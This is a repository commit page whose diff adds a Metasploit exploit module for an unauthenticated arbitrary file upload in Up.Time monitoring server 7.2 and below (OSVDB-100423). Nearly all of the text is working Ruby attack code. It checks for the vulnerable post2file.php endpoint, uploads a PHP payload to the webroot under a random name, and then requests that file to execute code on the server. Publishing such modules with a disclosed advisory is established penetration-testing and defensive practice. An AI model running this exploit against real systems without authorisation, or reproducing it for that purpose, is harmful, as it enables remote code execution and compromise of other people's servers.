Land #2723, @denandz's module for OSVDB-100423
commit
f77784cd0d
|
@ -0,0 +1,99 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::PhpEXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Up.Time Monitoring Station post2file.php Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file upload vulnerability found within the Up.Time
|
||||
monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
|
||||
webroot without authentication, leading to arbitrary code execution.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '100423' ],
|
||||
[ 'BID', '64031'],
|
||||
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 10000, # just a big enough number to fit any PHP payload
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Up.Time 7.2', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 19 2013'))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),
|
||||
Opt::RPORT(9999)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri.path
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
|
||||
})
|
||||
|
||||
if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Unknown
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Uploading PHP to Up.Time server")
|
||||
uri = target_uri.path
|
||||
|
||||
@payload_name = "#{rand_text_alpha(5)}.php"
|
||||
php_payload = get_write_exec_payload(:unlink_self => true)
|
||||
|
||||
post_data = ({
|
||||
"file_name" => @payload_name,
|
||||
"script" => php_payload
|
||||
})
|
||||
|
||||
print_status("#{peer} - Uploading payload #{@payload_name}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),
|
||||
'vars_post' => post_data,
|
||||
})
|
||||
|
||||
unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Executing payload #{@payload_name}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'wizards', @payload_name),
|
||||
'method' => 'GET'
|
||||
})
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue